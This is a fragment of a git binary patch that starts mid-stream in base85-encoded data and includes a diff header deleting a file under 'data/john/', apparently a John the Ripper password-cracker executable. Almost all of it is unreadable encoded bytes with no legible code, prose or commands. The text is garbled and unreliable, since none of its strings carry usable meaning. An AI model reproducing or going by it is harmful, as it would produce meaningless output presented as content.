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 XULS>Ui*BDT-F|$AyxRqkyLA5z5UXZk diff --git a/data/john/run.linux.x86.mmx/john b/data/john/run.linux.x86.mmx/john deleted file mode 100755 index 084440d9604e4f7837a2af4bb5fdceae2ef61142..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 745044 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 